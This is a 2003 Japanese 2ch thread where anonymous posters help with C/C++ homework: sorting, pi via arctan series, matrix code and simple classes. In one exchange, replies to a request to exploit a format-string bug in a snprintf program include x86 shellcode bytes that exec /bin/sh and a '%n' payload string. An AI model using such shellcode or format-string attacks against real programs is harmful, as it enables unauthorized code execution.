ループ内に毎回1回の比較と、比較が成立した場合に新要素挿入のための log(k) 回の比較が発生する。
最大でも n*(1+log(k))
n>>k
>>1 なら
n*log(k)
結局k回最小値を見つけるのが一番速いの?
要するにk*nより小さい計算量だったらいいわけだ。
553 :
デフォルトの名無しさん :03/11/08 00:46
554 :
デフォルトの名無しさん :03/11/08 00:49
kの大きさによって方法を変えるとか
531のリストをヒープにすると速くない?
bool exists[MAX_INT] = {false}; int min_value = MAX_INT; for( int i = 0; i<n; ++i ) { if ( input_array[i]<min_value ) min_value = input_array[i]; exists[input_array[i]]; } int output_array[k]; for( int i = min_value, j = ; j<k; ++i ) { if ( exists[i] ){ output_array[j++] = i; } } 入力整数に負数が含まれる場合はちょっと変更がが必要だけど うまくすれば n + k
std::partial_sort_copy
>>528 arctan の無限級数展開の式を示してくれ
それがないとどうしようもない
nとkの大きさと分布の度合いによるけど、最初100個ぐらいで平均を取り、 平均以上のもの(場合によって平均±α)を捨てると大体の集合ものは効 率が良くなりそうかなぁ・・・ 足りなくなったら捨てたものから再度拾い上げる、見たいな感じで。
>>560 もっと収束の速い公式があったはずだがな
ガウス・ルジャンドルの算術幾何平均が使われるようになった1982年くらいに
円周率の桁数の記録が劇的に伸びた
このアルゴリズムは1回繰り返すごとに精度が倍々になる
>>558 もう
>>560 にでましたが arctanx = x - x^3/3 + x^5/5 - x^7/7 +.... ですね。
じゃあ逆数をうけとるarctan書けばいいんじゃない?
#include <stdio.h> int main(void) { int i,j; int va[2][3] = { {1, 2, 3}, {4, 5, 6}, }; int vb[3][2] = { {1, 5}, {5, 3}, {8, 1}, }; int vc[2][2] = {0}; for (i = 0; i < 3; i++) for (j = 0; j < 3; j++) vc[i][j] = va[i][j] * vb[i][j]; for (i = 0; i <2; i++) { for (j =0; j <2; j++) printf("%3d", vc[j][i]); putchar('\n'); } return(0); }
564です。 for文を、使って 2×3の行列の計算をする。プログラムを作りたいのですが・・・ できないです手伝ってくださいm(__)m
>>564 もう一度行列の積を勉強しなおしてください
>>566 さん
vc[i][j] = va[i][j] * vb[i][j] + va[i+1][j] * vb[i][j+1] +va [i+2][j] * vb[i][j+2];
本気でわかんないです(TT;
じゃぁ数学板行きなよ、文法は間違ってないからこの板で教えることは何も無いよ。
#include <stdio.h> void add(int a[1001],int b[1001]) { int i; for (i = 1001; --i > 0; ) { a[i] += b[i]; a[i-1] += a[i] / 10; a[i] %= 10; } a[0] += b[0]; } void sub(int a[1001],int b[1001]) { int i; for (i = 1001; --i > 0; ) { a[i] += 10 - b[i]; a[i-1] += a[i] / 10 - 1; a[i] %= 10; } a[0] -= b[0]; } void div(int a[1001],int x) { int i; for (i = 0; i < 1000; i++) { a[i+1] += (a[i] % x) * 10; a[i] /= x; } a[1000] /= x;} int zero(int a[1001]) { int i; for (i = 0; i < 1001; i++) if (a[i]) return 0; return 1; } void arctan(int a[1001], int x) { // xは逆数 int b[1001], i, n, f; for (i = 0; i < 1001; i++) a[i] = b[i] = 0; b[0] = 1; div(b, x); add(a, b); n = 3; f = 0; do { int c[1001]; for (i = 0; i < 1001; i++) c[i] = 0; div(b, x * x); add(c, b); div(c, n); if (f) add(a, c); else sub(a, c); n += 2; f ^= 1; } while (!zero(b));} int main(void) { int a[1001], b[1001], i; for (i = 0; i < 1001; i++) a[i] = 0; arctan(b, 5); for (i = 0; i < 16; i++) add(a, b); arctan(b, 239); for (i = 0; i < 4; i++) sub(a, b); printf("%d.", a[0]); for (i = 1; i < 1001; i++) printf("%1d", a[i]%10); printf("\n"); return 0;}
全てがプライベートのクラスって意味ありますか?
>571 参照渡しで他の人に見えるものをいじくるとか。
コンストラクタまでprivate
>>522-527 みなさんどうもありがとうございました。
助かりました。
お礼が遅れて申し訳ないです。
>>528 voidaddition(char *cpX, const char *cpY, long Dmax)
{
register charvCarry = 0, vTmp;
longlI;
/* -- */
cpX = cpX + Dmax;
cpY = cpY + Dmax;
for(lI = Dmax; lI >= 0; lI--, cpX--, cpY--){
vTmp = *cpX + *cpY + vCarry;
*cpX = vTmp % (char)10;
vCarry = vTmp / (char)10;
}
}
voidsubtraction(char *cpX, const char *cpY, long Dmax) { register charbBorrow = 1,vTmp; longlI; /* -- */ cpX = cpX + Dmax; cpY = cpY + Dmax; for(lI = Dmax; lI >= 0; lI--, cpX--, cpY--) { vTmp = *cpX - *cpY + (char)9 + bBorrow; *cpX = vTmp % (char)10; bBorrow = vTmp / (char)10; } } voiddivision(char *cpX, long n_div, long Dmax) { register longvRemainder = 0, vTmp; longlI; /* -- */ for(lI = 0; lI <= Dmax; lI++, cpX++) { vTmp = 10 * vRemainder + *cpX; *cpX = vTmp / n_div; vRemainder = vTmp % n_div; } }
int arctangent(char *atn, int n_atn, int d_atn, long Dmax) { longlJ, lK; intiErr = FALSE; char *cpAG = NULL, *cpBG = NULL; /*--------------------------*/ if ((cpAG = (char *)malloc(Dmax + 1)) == NULL) { iErr = TRUE; goto ErAbort; } if ((cpBG = (char *)malloc(Dmax + 1)) == NULL) { iErr = TRUE; goto ErAbort; } memset(atn, 0, Dmax + 1); atn[0] = n_atn; division(atn, d_atn, Dmax); memcpy(cpAG, atn, Dmax + 1); lJ=3; lK=0;
while(lK <= Dmax) { if(cpAG[lK] == 0) { lK++; continue; } division(cpAG, d_atn, Dmax); division(cpAG, d_atn, Dmax); memcpy(cpBG, cpAG, Dmax + 1); division(cpBG, lJ, Dmax); if ((lJ % 4) == 1)addition(atn, cpBG, Dmax); elsesubtraction(atn, cpBG, Dmax); lJ += 2; } iErr = FALSE; ErAbort: if (cpAG) free(cpAG); if (cpBG) free(cpBG); return(iErr); }
voidmain(int iArgc, char *cpaArgv[]) { char*cpX1 = NULL, *cpY1 = NULL; longDmax = 1000; longi; /* ---- */ if ((cpX1 = (char *)malloc(Dmax + 1)) == NULL) goto Abort; if ((cpY1 = (char *)malloc(Dmax + 1)) == NULL) goto Abort; if (arctangent(cpX1, 16, 5, Dmax)) goto Abort; if (arctangent(cpY1, 4, 239, Dmax)) goto Abort; subtraction(cpX1, cpY1, Dmax); for (i = 0; i <= Dmax; i++) printf("%d", *(cpX1+i)); getch(); Abort: if (cpX1) free(cpX1); if (cpY1) free(cpY1); return; } つなげてくれ
580 :
デフォルトの名無しさん :03/11/08 15:30
>>579 "void" 直後のスペースが消えるのはどういうカラクリだ?
581 :
デフォルトの名無しさん :03/11/08 15:31
>>580 2chの掲示板は水平タブが取り除かれる仕様
関数名の前にtab打つのかよ、キモイ・・・ と、どうでもいいツッコミ&void main ( ´,_ゝ`)プッ
>>580 スペースが消えたと言うより戻り値を省略しただけではないかと。
で、関数名に戻り値のないことを示すvoidを付けた。
違うかい?
>>575
>>584 longDmaxやlongiはどう説明する?
書き込む前にexpandしろ
関数名と戻り値の間のTABは癖。 型名が短い時は関数名がソロって見えるから。型と変数名の間のTABも同様。 main が void なのはあまり気にしていない。 プロセスの終了コードが必要な時はつけるけど。
まるで時代に乗り遅れたC言語使いのような(ry
おおー完成してる。 皆さまありがとうございました。
>>588 >まるで時代に乗り遅れたC言語使いのような(ry
正解(w
大昔にアセンブラでかかれてたのを、引っ張り出してCに焼きなおしたらこうなった。
今風に書きなおしてくれ。
592 :
デフォルトの名無しさん :03/11/08 19:59
平方採中法について教えてください。 C言語で平方採中法のプログラムを書く宿題が出たんですけど、 どうやったらいいのかわかりません。 誰か教えてください?
ふきふき
ロボットですから
596 :
デフォルトの名無しさん :03/11/08 23:34
C++の宿題です。お願いします…! 次のclassを作成し、作成したメソッドが機能することを示せ。 なお、classの作成にあたってはヘッダファイルを作成すること。 class Gakusei{ char name[10]; //学生の名前 int height; //身長 int weight; //体重 public: Gakusei(char* n,int h,int w); //コンストラクタ void Show_h(); //身長を知る。 void Show_w(); //体重を知る。 }; (2)上記の場合、3人の学生のデータを画面から入力し、入力が終わると 3人のデータを画面に出力するにはプログラムをどのように改良すれば よいか。 ヒント:@オブジェクト配列を使う。 Gakusei gakusei[3]; Aコンストラクタの変更が必要。 Bメソッドの追加が必要。Set_n,Set_h,Set_w
学生がローマ字なのは何かのネタだろうか…
(1) class Gakusei{ char name[10]; //学生の名前 int height; //身長 int weight; //体重 public: //コンストラクタ Gakusei(char* n,int h,int w) : height(h), weight(w) { strcpy(name, n); } void Show_h() { std::cout << "身長は" << height << std::endl; } //身長を知る。 void Show_w() { std::cout << "体重は" << weight << std::endl; } //体重を知る。 }; main() { Gakusei g("堀江由衣", 155, 43); g.Show_h(); g.Show_w(); }
Show_n()は必要ないのだろうか…
わろた
必要なのか知らないけど。 Show_n() { std::cout << "名前は" << name << std::endl; } //名前を知る。 (2) main() { using namespace std; Gakusei* g[3]; for(int i=0; i<3; ++i) { string n; int h, w; cout << "名前は?"; cin >> n; cout << "身長は?"; cin >> h; cout << "体重は?"; cin >> w; g[i] = new Gakusei(n, h, w); } for(int i=0; i<3; ++i) { g[i].Show_n(); //必要なら g[i].Show_w(); g[i].Show_h(); } delete[] g; }
>>602 >delete[] g;
カタストロフィ
604 :
デフォルトの名無しさん :03/11/09 00:33
606 :
デフォルトの名無しさん :03/11/09 00:36
馬鹿さが滲み出てるな・・・。
608 :
デフォルトの名無しさん :03/11/09 09:42
Cの宿題です.おながいします. どうしてもわかりません. @以下のプログラムに対して/bin/shを起動する入力データを作成せよ #include <stdio.h> #include <stdlib.h> #include <string.h> static char msgbuf[512]; int sub(char *str){ return snprintf(msgbuf, sizeof(msgbuf), str); } int main(int argc, char *argv[]){ char buf[1024]; int output; memset(buf, 0x00, sizeof(buf)); fgets(buf, sizeof(buf), stdin); output = sub(buf); printf("message size: %x\n%s\n", output, msgbuf); }
入力された文字列をstr1として受け取って、str2にコピーせよ。 ただし、文字列ライブラリを使用してはいけない。 入力される文字は255文字以下であることを仮定してもよい。 c++です。 ご指導ご鞭撻の程よろしくお願いします。
>>608 ・問題の意味がわかりません。
・%が入力されたときに破綻を来たす危険なプログラムだと言うことはわかります。
・512バイト以上入力されたときに予想とは違う振る舞いをすることも想像できます。
あまりにお粗末なんですけど・・・
>>609 その問題における「文字列」と「文字列ライブラリ」の定義を提示せよ。
>>609 #include <iostream>
#include <algorithm>
int main()
{
char str1[256], str2[256];
std::cin >> str1;
std::copy(str1, str1 + 256, str2);
}
>>608 バッファオーバーフローさせて /bin/sh を起動させろってこと?
>>610 > ・512バイト以上入力されたときに予想とは違う振る舞いをすることも想像できます。
これはないと思うが?
>>614 「めっせーじさいず」の上限が予想通りかどうかだね。
>610 フォーマットバグを実践せよ、って事では? ちょっと変わった問題だよね。
>>614 どういう「予想」をしていたかによると思うけど。
>>618 snprintf()の戻り値って何か知ってる?
620 :
デフォルトの名無しさん :03/11/09 15:36
>>610 > ・512バイト以上入力されたときに予想とは違う振る舞いをすることも想像できます。
第二引数に 512 を与えたsnprintfに512バイト以上のフォーマット文字列を
つっこんだ場合の動作は不定であるということ?
> あまりにお粗末なんですけど・・・
そのお粗末なプログラムにどういうデータを与えると
セキュリティーホールの存在を明確に示すことができるかという問題に対して
「そのプログラムはお粗末である」と反応するのは、レスとしてお粗末
はいはい
結局snprintfでバッファサイズより大きなデータをつっこんだら どうなるんだ?
>>619 出力に必要なバッファサイズだろ
>>622 切りつめられるだけだよ
終端ヌル文字もちゃんと入る
>>610 「512バイト以上入力されたときに予想とは違う振る舞い」
ってありえないような
>>613 >>616 そういうことです
頭ひねってもわかりません
%pと%nを使うのがヒントらしいです
>>620 そりゃあんた、>610はそういう問題だと理解できなかったんだろ。
そのくらい察してやれよ。
628 :
デフォルトの名無しさん :03/11/09 16:52
質問です テキストファイル 2 2 2 2 46 1 2 3 4 57 と二行だけ書かれたものがあるとします。 fscanfを五回書くと 2 2 2 2 46が入るんですが 六つ目のfscanfでエラー起こして落ちてしまいます 二行目はどうやって読み込むんでしょうか?
>>628 まずfgetsとsscanfに分けることをおすすめするよ
630 :
デフォルトの名無しさん :03/11/09 17:01
すいません、教えてください。 C言語で コンソール画面から入力された文字列(charで表現できる範囲)の長さを知るには どのようにしたらいいですか?
>>613 すいませんバッファオーバフローではなかったです
フォーマットバグです
>>630 #include <string>
#include <iostream>
main()
{
using namespace std;
string str;
getline(cin, str);
cout << str.size() << endl;
}
>>630 stdinに対するfgetcを繰り返します
>>632 わざわざC++で答えるとは、結構ひねくれてるね
>>632 レスありがとうございます。
でもC++でなくてCでお願いします。
>>632 レスありがとうございます。
なるほど、確かにそうすればできますね。
僕が考えたのは改行文字をうまく使って何とかできないかな?
というのだから・・・やっぱりこれだとだめか
while (getchar() != '\n') ++count;
>>631 gcc -S 〜
でアセンブリコード出して貼れや
>>638 -S 結果を読みたきゃお前がやれば良いのでは?
フォーマットバグでプログラムを起動させるなんて 完全な環境依存なんだから ・環境 ・使用コンパイラ、およびバージョン ・使用ライブラリ、およびバージョン すべて明らかにしないと無理だろ
>>640 とりあえずシェルコード部分は適当にAとか仮定してもらっていいです
要するにそのシェルコードに%pと%nでどうやって制御を持っていくか
ってことがわかればOKです
>>641 それよさそうです
ありがとうございます
全然理解してない
>>643 つか本当に宿題なのかと。
>>645 じゃあとりあえずRedHatLinux9でgcc2.90を使うってことにしておきます
他にも困るようなら適当に仮定をお願いします
でもそういうのがかかわってくるのはシェルコードの部分で
それ以外はできるらしいですよ
シェルコードの部分以外は同じでFreeBSDでもLinuxでもできるらしいです
じゃあ取りあえず消えろ。
↑お前が消えろ
↓ついでにお前も消えろ
アムロ、ちょっとあんたせこいよ!
652 :
デフォルトの名無しさん :03/11/09 22:53
やっぱ、2chだね 凶悪なレベルのC/C++使いはいないのかね〜
呼んだか?
654 :
デフォルトの名無しさん :03/11/09 23:38
>>646 じゃあとりあえずじゃなくて、それで大きく状況が変わる。
OSやコンパイラーのバージョンだけでなく
ライブラリーのバージョンやオプチマイズ状況でも変わる。
そういう最も重要な部分を省略して出題している時点で、
問題そのものが成立してないといえる。
>>646 でもそういうのがかかわってくるのはシェルコードの部分でそれ以外はできるらしいですよ
でもそういうのがかかわってくるのはシェルコードの部分でそれ以外はできるらしいですよ
でもそういうのがかかわってくるのはシェルコードの部分でそれ以外はできるらしいですよ
abcdefghijklmnopqrstuvwxyzとゆう文字列で、 行と列を入力として受け取って、3と3なら abc bcd cde 2と3なら ab bc cd 5と5なら abcde bcdef cdefg defgh efghi とゆう文字の塊を出力せよ。 とゆう問題なんですが、ヒントだけでも教えて下さい。
void foo(const char* str, int rows, int cols) { const char* ptr = str; for(int row = 0; *ptr && (row < rows); ++row) { for(int col = 0; *ptr && (col < cols); ++col) { putchar(*ptr++); } putchar('\n'); } return; }
こっちが正解 void foo(const char *str, int rows, int cols) { int col, row; for (row = 0; str[row] && row < rows; ++row) { for (col = 0; str[row + col] && col < cols; ++col) putchar(str[row + col]); putchar('\n'); } }
>>658 何が正解なのかというか、str[row + col] の時点で駄目だろー
負数を表現するのにコンピュータ内部では2の補数を 使用しているか符号と絶対値を使用しているか判別する Cプログラムを教えてください。
>>663 具体的にCプログラムで表すと
どうなるのでしょうか?
自力でやってみたのですが、str2が表示されないです。。。 #include <stdio.h> int main(void) { int i, k = 0; char str1[255]; char str2[255]; printf("文字列を入力して下さい。:"); scanf("%s", str1); for (i = 0; k = 0; i++){ str2[i] = str1[i]; if (str1[i + 1] = '\0') k = 1; } for (i = i; i < 255; i++){ str2[i] = '\0'; } printf("str1をstr2にコピーしました\nstr1 = %s\n", str1); printf("str2 = %s\n", str2); return(0); } 何がいけないんだろ…。
>>666 どうゆう意味ですか?
自分で考えた範囲では間違ってないつもりなのですが…。
教えて頂けないでしょうか?
これではいけないでしょうか? 実行すると問題が発生したためhello.hを終了させていただきます。 と表示されるのですが…。 どなたかご指摘して下さい。 #include <stdio.h> int main(void) { char str[26] = {"abcdefghijklmnopqrstuvwxyz"}; int gyo, retu; int h, i, j = 0; printf("行:"); scanf("%d", &gyo); printf("列:"); scanf("%d", &retu); for (h = 0; h < gyo; h++){ for (i = 0; i < retu; i++){ if (i + j > 26){ j = 0; printf("%s", str[i + j]);}else printf("%s", str[i + j]);} printf("\n"); j = j + 1; } return(0); }
>>665 変数と値の比較は"="じゃなくて"=="を使う。
>>668 添え字の計算は追ってないが,少なくとも
> printf("%s", str[i + j]);}else
> printf("%s", str[i + j]);}
は%cでないとまずい.
>>669 ==にすると演算子にプログラム上の作用がありません。
=を意図しましたか?
って警告が出ます。。。
>>671 > for (i = 0; k = 0; i++){
for (i = 0; k == 0; i++) {
> if (str1[i + 1] = '\0')
if (str1[i + 1] == '\0')
これでその警告が出るなら、そのコンパイラ(インタプリタ?)はクソだ。
>>672 出来ました!
こんな初心者な質問に答えて頂いてどうもありがとうございました!
もっと勉強します。。。
>>670 %cの存在を知りませんでした。。。
ご指導どうもありがとうございました!
>>674 普通は
char* p = str1;
char* q = str2;
while (*q++ = *p++)
;
ってやるがな。
整数を引数として受け取り、その絶対値を返す関数を作成せよ。 C++でおながいします。
int foo(int i) { if(i<0)return -i; return i; }
679 :
デフォルトの名無しさん :03/11/10 21:31
C++の課題です…お願いします 1.Studentクラスを作成せよ。仕様は次のとおりである。 なお、クラスの宣言はヘッダファイルに書くこと ◇データメンバ @名前 A英語の点数 B数学の点数 C平均点 ◇メソッド Dコンストラクタ E英語の点数をセットする。 F数学の点数をセットする。 G平均点をセットする。 H英語の点数を知る。 I数学の点数を知る。 J平均点を知る。 2.Studentクラスをもとに2人の学生のオブシェクトを つくり、作成したメソッドが機能していることを示せ。 なお、データは画面からユーザが入力できるようにせよ。
680 :
デフォルトの名無しさん :03/11/10 21:32
文字化けしていますよ:-)
○に数字か?
683 :
デフォルトの名無しさん :03/11/10 21:51
ところで、オレの宿題やってよ。
ここは他人に宿題をやってもらって 自分は楽に生きようという厨が集まるスレですね。
>>654 とりあえず%pの連続でスタックの情報がわかるわな
あとは%pで判明したリターンアドレスの場所に
bufかmsgbufに仕込んだコードのアドを
%nで書き込めばいいんじゃねーの?
スタックが低い方へ伸びていくってこととC言語の仕様に従うなら
この場合ライブラリのバージョンやオプティマイズの情報は
なくてもいいぞ?単なる知ったかか?
「しったか」とけなしておいて自分は「・・ばいいんじゃねーの?」か。
>>678 それじゃC++だとは言えないよ。
俺が手本を・・・
// 絶対値を返す関数
int foo(int i) {
if(i<0)return -i;
return i;
}
>>570 さんが既にやってたのね。気がつかなかった。スマソ
double foo(int i) {return double(i < 0 ? -i : i);} //戻り値の型の指定は無かったよね
>>689 戻り値 double で引数 int とはこれ如何に?
ただの皮肉だろ。
>>608 こんな感じだが、ウチのマシンじゃstackのアドレスが高すぎて、
%nから飛ばせない。。。(buf = 0xbffff790)
int main(){
char code[]={
0x55,
0x89, 0xe5,
0x83, 0xec, 0x08,
0x8d, 0x45, 0xf8,
0xc6, 0x45, 0xf8, 0x2f,
0xc6, 0x45, 0xf9, 0x62,
0xc6, 0x45, 0xfa, 0x69,
0xc6, 0x45, 0xfb, 0x6e,
0xc6, 0x45, 0xfc, 0x73,
0xc6, 0x45, 0xfe, 0x68,
0xc6, 0x45, 0xff, 0x00,
0x83, 0xec, 0x04,
0x6a, 0x00,
0x8d, 0x45, 0xf8,
0x50,
0x8d, 0x45, 0xf8,
0x50,
0xe8, 0xfc, 0xff, 0xff, 0xff, //call
0x83, 0xc4, 0x10,
0xc9,
0xc3,
};
char format[]="%134510000d %p %p %p %n";//24 write( 1, format, sizeof(format)); write( 1, code, sizeof(code) ); }
てなわけで、ウチの場合。 msgbufにもコード埋めて、bufまで飛ばす必要があるな。 まー、宿題程度ならここまでで十分だろ(w
>>696 > まー、宿題程度ならここまでで十分だろ(w
十分って,できてないプログラムが十分なわけないと思うが.
それになぜbufに飛ばす必要がある?
直接msgbufに飛ばせばいいじゃない.
698 :
デフォルトの名無しさん :03/11/11 11:20
次の処理を行うために、配列を使ったプログラムとポインタを使ったプログラムの 2種類プログラムを作成せよ。 (1)配列に文字列”This class is the programming”を代入する。 (2)単語舞に分割してそれぞれを新たに配列に代入する。 すなわち”This” “class” “is” “the” “programming”の5つに分ける。 この処理を使ったものと、ポインタを使ったものの2種類のプログラミングを作成する。 をお願いします。
どうでもいいが、「単語毎」は「たんごまい」ではなく「たんごごと」だろー
700 :
デフォルトの名無しさん :03/11/11 12:28
問2. 整数型の配列と、その配列の要素数を引数としてとり、全要素の総和を す関数を 作成せよ。
701 :
デフォルトの名無しさん :03/11/11 12:28
問3. 整数型の配列と、その配列の要素数を引数としてとり、配列を逆順に並べかえる関 数を作成せよ。
#include <numeric> int accumulate(int a[],size_t n){return std::accumulate(&a[0],&a[n],0);} #include <algorithm> #include <functional> void reverse_sort(int a[],size_t n){std::sort(&a[0],&a[n],std::greater<int>());}
#include <algorithm> void reverse(int a[],size_t n){std::reverse(&a[0], &a[n]);} じゃないの?
あ、読み間違えた。
705 :
Ω<hoge? :03/11/11 16:17
下のようなソースで、struct Data内の nameに文字列が正しくはいりません。 他の値は入っているんですが、ナゼでしょうか? はて...? typedef struct{ char name[18]; int other_state; }Data,*DataPtr,; typedef struct{ DataPtr* data; int num; } PtoData,**Handle; Handle Initialize() { Handle data_handle; int i,j; unsigned long legnth; data_hanel = calloc(4,sizeof(PtoData*)); data_handle[0]->num = 8; data_handle[1]->num = 0; for(i = 0; i < 4; i ++){ data_handle[i]->data = calloc(data_handle[i]->num,sizeof(DataPtr)); for(j = 0; j < data_handle[i]->num; j ++){ data_handle[i]->data[j] = malloc(sizeof(Data)); length = strlen("ホージ\0"); strncpy(data_handle[i]->data[j]->name,"ホージ\0",length); data_handle[i]->data[j]->other_state = 5; } }return data_handle; } Ω< まともに入っているのもあるんですが、 かなりバグってます。
というか、 > data_hanel = calloc(4,sizeof(PtoData*)); > data_handle[0]->num = 8; この間に、 for( i=0;i<4;i++) data_handle[i] = calloc(1,sizeof(PtoData)); がいるだろ。
>>706 というか、
間違いまひた。Ω<(´・ω・`)
x **Handle
○ *PtoPtoData でお願いします。
PtoData* data_handle;
data_handle = calloc(4,sizeof(PtoData));
はじめまして。VCの初心者です☆ビットマップをファイルからメモリに読み込みたいのですが、うまくいきません。「loadimage」って関数を使っているのですが、この関数は難しいのですか?よろしくお願いします。
質問なのですが 2つのデータを読み込ませて以下のような処理をさせようとしたのですが データ数nが20000位までは動作してくれましたがnが60000など大きくなると 例外 unknown software exception (0xc00000fd)がアプリケーションの0x0040115fで発生しました と出てうまくいきません どなたかご助言お願いします、ちなみにXP環境でコンパイラはborlandを使用しています #include<stdio.h> #include<math.h> #include<stdlib.h> #define n 60000 #define pai 3.1415926 int main(void){ double a[n],b[n]; double x[n],y[n]; int i; FILE *fdata; if(NULL==(fdata=fopen("yomi1.txt","r"))){ printf("\n can not be opened\n"); exit(1); } i=0; while(fscanf(fdata,"%lf",&a[i])!=EOF){ i++; } fclose(fdata);
if(NULL==(fdata=fopen("yomi2.txt","r"))){ printf("\n can not be opened\n"); exit(1); } i=0; while(fscanf(fdata,"%lf",&b[i])!=EOF) { i++; } fclose(fdata); if(NULL==(fdata=fopen("kaki.txt","w"))){ printf("\n can not be opened\n"); exit(1); } for(i=0;i<=n-1;i++){ x[i]=2*a[i]+4*b[i]; y[i]=-3*a[i]+2*b[i]; fprintf(fdata,"%d,%f\n",i,x[i]); } fclose(fdata); return 0; }
#include<stdio.h> main() { float a1,a2,b=0; scanf("%f%f",&a1,&a2); if(a1>a2){ b=a1; a1=a2; a2=b; } printf("%.0f,%.0f\n\n",a1,a2); } 1.上記のような書き方で、scanfで入力された3つの数字を小さい順に並べ替えて、表示させるプログラム。 2.scanfで入力させた、n個の数字を小さい順に並べ替えて、表示させるプログラム。 どなたかお願いします。
712 :
デフォルトの名無しさん :03/11/11 19:05
>>711 1.
#include<stdio.h>
main()
{
float a1,a2,a3,b=0;
scanf("%f%f%f",&a1,&a2,&a3);
if(a1>a2){ b=a1; a1=a2; a2=b; }
if(a2>a3){ b=a2; a2=a3; a3=b; }
if(a1>a2){ b=a1; a1=a2; a2=b; }
printf("%.0f,%.0f,%.0f\n\n",a1,a2,a3);
}
2.
#include <stdio.h>
#include <stdlib.h>
#define N 3
int cmp(int *a,int *b){return *a-*b;}
int main(void)
{
int t[N], i;
for(i=0;i<N;i++)scanf("%d",&t[i]);
printf("\n");
qsort(t,N,sizeof(*t),(int(*)(const void *,const void *))cmp);
for(i=0;i<N;i++)printf("%d,",t[i]);
printf("\n");
return 0;
}
>705 > length = strlen("ホージ\0"); > strncpy(data_handle[i]->data[j]->name,"ホージ\0",length); ...data[j]->nameはNUL終端しないのが問題。
715 :
デフォルトの名無しさん :03/11/11 19:44
次の処理を行うために、配列を使ったプログラムとポインタを使ったプログラムの 2種類プログラムを作成せよ。 (1)配列に文字列”This class is the programming”を代入する。 (2)単語ごとに分割してそれぞれを新たに配列に代入する。 すなわち”This” “class” “is” “the” “programming”の5つに分ける。 この処理を使ったものと、ポインタを使ったものの2種類のプログラミングを作成する。 これでお願いします。
>>715 #include <string.h>
char str[]="This class is the programming";
char words[5][30];
int main()
{
strncat(words[0],str,4);
strncat(words[1],str+5,5);
strncat(words[2],str+11,2);
strncat(words[3],str+14,3);
strcpy(words[4],str+18);
return 0;
}
cnt = rand()%50; ってなんですか?(ぉ %50の意味がわからないんです
sscanf(str,"%s%s%s%s%s",words[0],words[1],words[2],words[3],words[4]); これで一発か
>>717 50で割った余りという意味だが…
線形合同法で実装されている可能性のある擬似乱数で
剰余を取るのはお勧めしない
%を使った計算なんてやったこと無いから、わからなかった。 逝って来る・・・
逝ってらっしゃい
723 :
デフォルトの名無しさん :03/11/11 21:30
カオスのグラフィックをつくりたいのですが。教えてください
ご回答頂き、ありがとうございました。
>>705 >"ホージ\0"
無理解、無駄。
>strncpy(data_handle[i]->data[j]->name,"ホージ\0",length);
無理解、非効率。
それにしても、ソースをコピペするだけで済むはずなのに
なんでそんなに間違えることができるんだ?
その点から考えると、激しくプログラマに向かないと思うのだが。
>>709 60000*4*8バイトもスタックに置くのは無茶。
>>723 スレ違い。宿題なら全文掲載よろ。
705-707の者ですが、 全然別のところでまちがいをみっけますた。 char_code = ((name[6] << 8) | name[7] & 0xff); char形の参照で、&0xffを外したのがだめでした。 ω<めでたしめでたし。 714さんもありがとうございました。
>>726 全然めでたくねぇじゃん。ちゃんと714、725を読もうね。
キーボード入力をそのまま出力するプログラムを C で作成してください。 以下の条件、言語でお願いします。 条件 a のキーを押したら、すぐさま a と出力する。 a のあとに Enter キーを押さなきゃいけないというのではダメです。 言語 C 言語 , Linux gcc でコンパイルできて、実行できるもの。 conio.h がないので kbhit() はつかえません。
725>> すみません、 コピペするには巨大すぎるので... 実はData構造体の内容自体変わるのですが、 良いまとめかたってありますかいな? < Ω HoldDataStructure* handel; DataStructure data; handle[0] = data_base_handle; handle[0]->data[0]->function = f1; handle[0]->data[1]->function = f2; handle[1]->data[0]->other_param = other_param3; Ω<英文には自信がありません。
>>728 ioctlするとか、cursesライブラリ使うとか、XWindow環境使うとか、
そんなところかな。
1〜9を1つずつ使った9桁の数を全て生成してください
>>713 >>725 有り難うございます
動的確保とはmalloc関数を使って行うと思うのですが
メモリの割り当て方をどういう風にするのかよく分からないので、方法を教えて頂けないでしょうか
ある数を2乗した結果となる数を平方数という。 0から9までの数字を1つずつ含む平方数を全て求めよ。
#include <stdio.h> #include <string.h> void zurasu(char *s) { char c = *s; if (!c) return; for (; *(s+1); s++) *s = *(s+1); *s = c; } void do_irekae(char *hoge, char *s) { int i; if (!*s) { puts(hoge); return; } for (i = strlen(s); i > 0; i--, zurasu(s)) do_irekae(hoge, s+1); } void irekae(char *hoge) { do_irekae(hoge, hoge); } int main(void) { char hoge[] = "123456789" irekae(hoge); return 0; }
>>730 ありがとうございます。ioctl 調べてみます。
cursesライブラリ は役にたちそうなものが見つかりました。
XWindow 環境使う というのが漠然としすぎてて分からないのですが、
まぁ、調べてみることにします。
>>733 list = [ x * x | x <- [min..max], iSort (show (x * x)) == "0123456789" ]
where
min = toInteger(truncate (sqrt (fromInteger 1023456789)))
max = toInteger(floor (sqrt (fromInteger 9876543210)))
iSort xs = foldr ins [] xs
where
ins x [] = [x]
ins x (y:ys)
| x <= y = x : (y:ys)
| otherwise = y : ins x ys
Main> list
[1026753849, (中略), 9814072356]
Main> length list
87
すいません自己解決しました double *a = (double *)malloc(3000000); double *b = (double *)malloc(3000000); double *x = (double *)malloc(3000000); double *y = (double *)malloc(3000000);
ところでメモリの割り当て量というのは適当に決めてもいい物なんですかね?
俺の名を呼んでみるプログラム組んでちょうだい
>>734 出力できました
ありがとうございました
>>733 大きいのはダメだけど
#include <stdio.h>
#include <string.h>
void zurasu(char *s) {
char c = *s;
if (!c) return;
for (; *(s+1); s++) *s = *(s+1);
*s = c;
}
int is_heihou(char *s) {
unsigned long n = 0, m, x = 10000;
for (; *s; s++)
n = n * 10 + *s - '0';
for (m = n; m > 0; m /= 10)
if (*--s - '0' != m % 10) return 0; // 変換できないものは省く
for (m = n / x; m * m > n || (m+1) * (m+1) <= n ;)
m = (n / m + m) / 2;
return m * m == n;
}
void do_irekae(char *hoge, char *s) {
int i;
if (*hoge == '0') return;
if (!*s) { if (is_heihou(hoge)) puts(hoge); return; }
for (i = strlen(s); i > 0; i--, zurasu(s))
do_irekae(hoge, s+1);
}
void irekae(char *hoge) { do_irekae(hoge, hoge); }
int main(void) {
char hoge[] = "1234567890";
irekae(hoge);
return 0;
}
746 :
デフォルトの名無しさん :03/11/12 03:52
>>733 0 から 9 までか・・・Cでは厳しい条件だな。
1 から 9 までの間違いじゃないのか?
※以下 1 から 9 までバージョン
#include <stdio.h>
#include <math.h>
#define N 9
void GenKomatiSqNum(int f,int n)
{
int i;
if(f==((1<<N)-1)) {
i=(int)sqrt(n);
if(i*i==n) printf("%d = %d^2\n",n,i);
}
